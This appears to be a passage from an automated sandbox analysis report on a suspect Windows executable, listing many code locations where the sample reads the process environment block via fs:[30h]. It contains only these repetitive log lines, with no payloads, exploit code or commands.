Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB62A0 mov eax, dword ptr fs:[00000030h]	2_2_01AB62A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB62A0 mov eax, dword ptr fs:[00000030h]	2_2_01AB62A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB62A0 mov eax, dword ptr fs:[00000030h]	2_2_01AB62A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5E284 mov eax, dword ptr fs:[00000030h]	2_2_01A5E284
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5E284 mov eax, dword ptr fs:[00000030h]	2_2_01A5E284
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA0283 mov eax, dword ptr fs:[00000030h]	2_2_01AA0283
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA0283 mov eax, dword ptr fs:[00000030h]	2_2_01AA0283
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA0283 mov eax, dword ptr fs:[00000030h]	2_2_01AA0283
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A302E1 mov eax, dword ptr fs:[00000030h]	2_2_01A302E1
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A302E1 mov eax, dword ptr fs:[00000030h]	2_2_01A302E1
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A302E1 mov eax, dword ptr fs:[00000030h]	2_2_01A302E1
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2A2C3 mov eax, dword ptr fs:[00000030h]	2_2_01A2A2C3
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2A2C3 mov eax, dword ptr fs:[00000030h]	2_2_01A2A2C3
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2A2C3 mov eax, dword ptr fs:[00000030h]	2_2_01A2A2C3
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2A2C3 mov eax, dword ptr fs:[00000030h]	2_2_01A2A2C3
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2A2C3 mov eax, dword ptr fs:[00000030h]	2_2_01A2A2C3
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1823B mov eax, dword ptr fs:[00000030h]	2_2_01A1823B
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A24260 mov eax, dword ptr fs:[00000030h]	2_2_01A24260
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A24260 mov eax, dword ptr fs:[00000030h]	2_2_01A24260
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A24260 mov eax, dword ptr fs:[00000030h]	2_2_01A24260
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1826B mov eax, dword ptr fs:[00000030h]	2_2_01A1826B
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD0274 mov eax, dword ptr fs:[00000030h]	2_2_01AD0274
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD0274 mov eax, dword ptr fs:[00000030h]	2_2_01AD0274
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD0274 mov eax, dword ptr fs:[00000030h]	2_2_01AD0274
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD0274 mov eax, dword ptr fs:[00000030h]	2_2_01AD0274
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD0274 mov eax, dword ptr fs:[00000030h]	2_2_01AD0274
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD0274 mov eax, dword ptr fs:[00000030h]	2_2_01AD0274
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD0274 mov eax, dword ptr fs:[00000030h]	2_2_01AD0274
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD0274 mov eax, dword ptr fs:[00000030h]	2_2_01AD0274
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD0274 mov eax, dword ptr fs:[00000030h]	2_2_01AD0274
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD0274 mov eax, dword ptr fs:[00000030h]	2_2_01AD0274
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD0274 mov eax, dword ptr fs:[00000030h]	2_2_01AD0274
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD0274 mov eax, dword ptr fs:[00000030h]	2_2_01AD0274
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA8243 mov eax, dword ptr fs:[00000030h]	2_2_01AA8243
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA8243 mov ecx, dword ptr fs:[00000030h]	2_2_01AA8243
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1A250 mov eax, dword ptr fs:[00000030h]	2_2_01A1A250
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A26259 mov eax, dword ptr fs:[00000030h]	2_2_01A26259
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ADA250 mov eax, dword ptr fs:[00000030h]	2_2_01ADA250
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ADA250 mov eax, dword ptr fs:[00000030h]	2_2_01ADA250
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA05A7 mov eax, dword ptr fs:[00000030h]	2_2_01AA05A7
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA05A7 mov eax, dword ptr fs:[00000030h]	2_2_01AA05A7
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA05A7 mov eax, dword ptr fs:[00000030h]	2_2_01AA05A7
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A445B1 mov eax, dword ptr fs:[00000030h]	2_2_01A445B1
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A445B1 mov eax, dword ptr fs:[00000030h]	2_2_01A445B1
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A22582 mov eax, dword ptr fs:[00000030h]	2_2_01A22582
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A22582 mov ecx, dword ptr fs:[00000030h]	2_2_01A22582
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A54588 mov eax, dword ptr fs:[00000030h]	2_2_01A54588
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5E59C mov eax, dword ptr fs:[00000030h]	2_2_01A5E59C
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A225E0 mov eax, dword ptr fs:[00000030h]	2_2_01A225E0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4E5E7 mov eax, dword ptr fs:[00000030h]	2_2_01A4E5E7
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4E5E7 mov eax, dword ptr fs:[00000030h]	2_2_01A4E5E7
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4E5E7 mov eax, dword ptr fs:[00000030h]	2_2_01A4E5E7
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4E5E7 mov eax, dword ptr fs:[00000030h]	2_2_01A4E5E7
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4E5E7 mov eax, dword ptr fs:[00000030h]	2_2_01A4E5E7
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4E5E7 mov eax, dword ptr fs:[00000030h]	2_2_01A4E5E7
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4E5E7 mov eax, dword ptr fs:[00000030h]	2_2_01A4E5E7
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4E5E7 mov eax, dword ptr fs:[00000030h]	2_2_01A4E5E7
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5C5ED mov eax, dword ptr fs:[00000030h]	2_2_01A5C5ED
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5C5ED mov eax, dword ptr fs:[00000030h]	2_2_01A5C5ED
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5E5CF mov eax, dword ptr fs:[00000030h]	2_2_01A5E5CF
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5E5CF mov eax, dword ptr fs:[00000030h]	2_2_01A5E5CF
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A265D0 mov eax, dword ptr fs:[00000030h]	2_2_01A265D0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5A5D0 mov eax, dword ptr fs:[00000030h]	2_2_01A5A5D0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5A5D0 mov eax, dword ptr fs:[00000030h]	2_2_01A5A5D0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30535 mov eax, dword ptr fs:[00000030h]	2_2_01A30535
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30535 mov eax, dword ptr fs:[00000030h]	2_2_01A30535
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30535 mov eax, dword ptr fs:[00000030h]	2_2_01A30535
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30535 mov eax, dword ptr fs:[00000030h]	2_2_01A30535
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30535 mov eax, dword ptr fs:[00000030h]	2_2_01A30535
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30535 mov eax, dword ptr fs:[00000030h]	2_2_01A30535
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4E53E mov eax, dword ptr fs:[00000030h]	2_2_01A4E53E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4E53E mov eax, dword ptr fs:[00000030h]	2_2_01A4E53E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4E53E mov eax, dword ptr fs:[00000030h]	2_2_01A4E53E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4E53E mov eax, dword ptr fs:[00000030h]	2_2_01A4E53E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4E53E mov eax, dword ptr fs:[00000030h]	2_2_01A4E53E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB6500 mov eax, dword ptr fs:[00000030h]	2_2_01AB6500
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF4500 mov eax, dword ptr fs:[00000030h]	2_2_01AF4500
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF4500 mov eax, dword ptr fs:[00000030h]	2_2_01AF4500
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF4500 mov eax, dword ptr fs:[00000030h]	2_2_01AF4500
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF4500 mov eax, dword ptr fs:[00000030h]	2_2_01AF4500
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF4500 mov eax, dword ptr fs:[00000030h]	2_2_01AF4500
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF4500 mov eax, dword ptr fs:[00000030h]	2_2_01AF4500
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF4500 mov eax, dword ptr fs:[00000030h]	2_2_01AF4500
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5656A mov eax, dword ptr fs:[00000030h]	2_2_01A5656A
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5656A mov eax, dword ptr fs:[00000030h]	2_2_01A5656A
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5656A mov eax, dword ptr fs:[00000030h]	2_2_01A5656A
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A28550 mov eax, dword ptr fs:[00000030h]	2_2_01A28550
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A28550 mov eax, dword ptr fs:[00000030h]	2_2_01A28550
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A264AB mov eax, dword ptr fs:[00000030h]	2_2_01A264AB
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A544B0 mov ecx, dword ptr fs:[00000030h]	2_2_01A544B0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AAA4B0 mov eax, dword ptr fs:[00000030h]	2_2_01AAA4B0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ADA49A mov eax, dword ptr fs:[00000030h]	2_2_01ADA49A
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A204E5 mov ecx, dword ptr fs:[00000030h]	2_2_01A204E5
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1E420 mov eax, dword ptr fs:[00000030h]	2_2_01A1E420
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1E420 mov eax, dword ptr fs:[00000030h]	2_2_01A1E420
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1E420 mov eax, dword ptr fs:[00000030h]	2_2_01A1E420
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1C427 mov eax, dword ptr fs:[00000030h]	2_2_01A1C427
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA6420 mov eax, dword ptr fs:[00000030h]	2_2_01AA6420
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA6420 mov eax, dword ptr fs:[00000030h]	2_2_01AA6420
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA6420 mov eax, dword ptr fs:[00000030h]	2_2_01AA6420
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA6420 mov eax, dword ptr fs:[00000030h]	2_2_01AA6420
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA6420 mov eax, dword ptr fs:[00000030h]	2_2_01AA6420
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA6420 mov eax, dword ptr fs:[00000030h]	2_2_01AA6420
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA6420 mov eax, dword ptr fs:[00000030h]	2_2_01AA6420
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A58402 mov eax, dword ptr fs:[00000030h]	2_2_01A58402
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A58402 mov eax, dword ptr fs:[00000030h]	2_2_01A58402
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A58402 mov eax, dword ptr fs:[00000030h]	2_2_01A58402
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AAC460 mov ecx, dword ptr fs:[00000030h]	2_2_01AAC460
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4A470 mov eax, dword ptr fs:[00000030h]	2_2_01A4A470
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4A470 mov eax, dword ptr fs:[00000030h]	2_2_01A4A470
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4A470 mov eax, dword ptr fs:[00000030h]	2_2_01A4A470
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5E443 mov eax, dword ptr fs:[00000030h]	2_2_01A5E443
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5E443 mov eax, dword ptr fs:[00000030h]	2_2_01A5E443
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5E443 mov eax, dword ptr fs:[00000030h]	2_2_01A5E443
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5E443 mov eax, dword ptr fs:[00000030h]	2_2_01A5E443
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5E443 mov eax, dword ptr fs:[00000030h]	2_2_01A5E443
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5E443 mov eax, dword ptr fs:[00000030h]	2_2_01A5E443
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5E443 mov eax, dword ptr fs:[00000030h]	2_2_01A5E443
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5E443 mov eax, dword ptr fs:[00000030h]	2_2_01A5E443
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ADA456 mov eax, dword ptr fs:[00000030h]	2_2_01ADA456
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1645D mov eax, dword ptr fs:[00000030h]	2_2_01A1645D
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4245A mov eax, dword ptr fs:[00000030h]	2_2_01A4245A
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A207AF mov eax, dword ptr fs:[00000030h]	2_2_01A207AF
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD47A0 mov eax, dword ptr fs:[00000030h]	2_2_01AD47A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC678E mov eax, dword ptr fs:[00000030h]	2_2_01AC678E
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A427ED mov eax, dword ptr fs:[00000030h]	2_2_01A427ED
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A427ED mov eax, dword ptr fs:[00000030h]	2_2_01A427ED
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A427ED mov eax, dword ptr fs:[00000030h]	2_2_01A427ED
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AAE7E1 mov eax, dword ptr fs:[00000030h]	2_2_01AAE7E1
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A247FB mov eax, dword ptr fs:[00000030h]	2_2_01A247FB
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A247FB mov eax, dword ptr fs:[00000030h]	2_2_01A247FB
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2C7C0 mov eax, dword ptr fs:[00000030h]	2_2_01A2C7C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA07C3 mov eax, dword ptr fs:[00000030h]	2_2_01AA07C3
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5C720 mov eax, dword ptr fs:[00000030h]	2_2_01A5C720
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5C720 mov eax, dword ptr fs:[00000030h]	2_2_01A5C720
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5273C mov eax, dword ptr fs:[00000030h]	2_2_01A5273C
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5273C mov ecx, dword ptr fs:[00000030h]	2_2_01A5273C
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5273C mov eax, dword ptr fs:[00000030h]	2_2_01A5273C
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9C730 mov eax, dword ptr fs:[00000030h]	2_2_01A9C730
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5C700 mov eax, dword ptr fs:[00000030h]	2_2_01A5C700
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A20710 mov eax, dword ptr fs:[00000030h]	2_2_01A20710
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A50710 mov eax, dword ptr fs:[00000030h]	2_2_01A50710
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A28770 mov eax, dword ptr fs:[00000030h]	2_2_01A28770
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30770 mov eax, dword ptr fs:[00000030h]	2_2_01A30770
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30770 mov eax, dword ptr fs:[00000030h]	2_2_01A30770
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30770 mov eax, dword ptr fs:[00000030h]	2_2_01A30770
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30770 mov eax, dword ptr fs:[00000030h]	2_2_01A30770
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30770 mov eax, dword ptr fs:[00000030h]	2_2_01A30770
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30770 mov eax, dword ptr fs:[00000030h]	2_2_01A30770
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30770 mov eax, dword ptr fs:[00000030h]	2_2_01A30770
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30770 mov eax, dword ptr fs:[00000030h]	2_2_01A30770
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30770 mov eax, dword ptr fs:[00000030h]	2_2_01A30770
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30770 mov eax, dword ptr fs:[00000030h]	2_2_01A30770
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30770 mov eax, dword ptr fs:[00000030h]	2_2_01A30770
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30770 mov eax, dword ptr fs:[00000030h]	2_2_01A30770
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5674D mov esi, dword ptr fs:[00000030h]	2_2_01A5674D
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5674D mov eax, dword ptr fs:[00000030h]	2_2_01A5674D
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5674D mov eax, dword ptr fs:[00000030h]	2_2_01A5674D
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A20750 mov eax, dword ptr fs:[00000030h]	2_2_01A20750
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62750 mov eax, dword ptr fs:[00000030h]	2_2_01A62750
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A62750 mov eax, dword ptr fs:[00000030h]	2_2_01A62750
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AAE75D mov eax, dword ptr fs:[00000030h]	2_2_01AAE75D
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA4755 mov eax, dword ptr fs:[00000030h]	2_2_01AA4755
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5C6A6 mov eax, dword ptr fs:[00000030h]	2_2_01A5C6A6
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A566B0 mov eax, dword ptr fs:[00000030h]	2_2_01A566B0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A24690 mov eax, dword ptr fs:[00000030h]	2_2_01A24690
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A24690 mov eax, dword ptr fs:[00000030h]	2_2_01A24690
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9E6F2 mov eax, dword ptr fs:[00000030h]	2_2_01A9E6F2
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9E6F2 mov eax, dword ptr fs:[00000030h]	2_2_01A9E6F2
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9E6F2 mov eax, dword ptr fs:[00000030h]	2_2_01A9E6F2
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9E6F2 mov eax, dword ptr fs:[00000030h]	2_2_01A9E6F2
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA06F1 mov eax, dword ptr fs:[00000030h]	2_2_01AA06F1
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA06F1 mov eax, dword ptr fs:[00000030h]	2_2_01AA06F1
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_01A5A6C7
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5A6C7 mov eax, dword ptr fs:[00000030h]	2_2_01A5A6C7
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3E627 mov eax, dword ptr fs:[00000030h]	2_2_01A3E627
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A56620 mov eax, dword ptr fs:[00000030h]	2_2_01A56620
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A58620 mov eax, dword ptr fs:[00000030h]	2_2_01A58620
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2262C mov eax, dword ptr fs:[00000030h]	2_2_01A2262C
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9E609 mov eax, dword ptr fs:[00000030h]	2_2_01A9E609
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3260B mov eax, dword ptr fs:[00000030h]	2_2_01A3260B
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3260B mov eax, dword ptr fs:[00000030h]	2_2_01A3260B
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3260B mov eax, dword ptr fs:[00000030h]	2_2_01A3260B
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3260B mov eax, dword ptr fs:[00000030h]	2_2_01A3260B
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3260B mov eax, dword ptr fs:[00000030h]	2_2_01A3260B
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3260B mov eax, dword ptr fs:[00000030h]	2_2_01A3260B
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3260B mov eax, dword ptr fs:[00000030h]	2_2_01A3260B
